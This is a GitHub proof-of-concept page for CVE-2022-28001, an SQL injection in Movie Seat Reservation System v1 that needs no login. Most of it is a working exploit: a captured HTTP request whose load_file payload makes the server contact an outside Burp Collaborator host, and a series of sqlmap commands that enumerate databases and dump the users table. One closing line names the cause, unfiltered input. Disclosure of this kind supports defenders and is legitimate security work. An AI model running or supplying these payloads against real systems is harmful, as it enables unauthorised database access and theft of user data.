Headline
CVE-2022-28001: CVEs/POC.md at main · D4rkP0w4r/CVEs
Movie Seat Reservation v1 was discovered to contain a SQL injection vulnerability at /index.php?page=reserve via the id parameter.
Permalink
Cannot retrieve contributors at this time
Movie Seat Reservation System Sql Injection
Note
=> exploit don’t need login account
Exploit
- Use Burp Suite capture request with payload
GET /Movie_Seat_Reservation_System/index.php?page=reserve&id=(select%20load_file(‘%5c%5c%5c%5coumvuo0qifuf18d8xd3vrtn81z7svqjhl5cs3gs.burpcollaborator.net%5c%5cbxr’)) HTTP/1.1 Host: 192.168.1.101:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Connection: close Cache-Control: max-age=0
Then save as moviesqli.txt
- Exploit with
Sqlmap
python3 sqlmap.py -r moviesqli.txt --current-user
python3 sqlmap.py -r moviesqli.txt --batch -dbs
python3 sqlmap.py -r moviesqli.txt --batch -tables -D theater_db
python3 sqlmap.py -r moviesqli.txt --batch -columns -D theater_db -T users -dump
Vulnerable Code
- No filter
id
when inserting data to database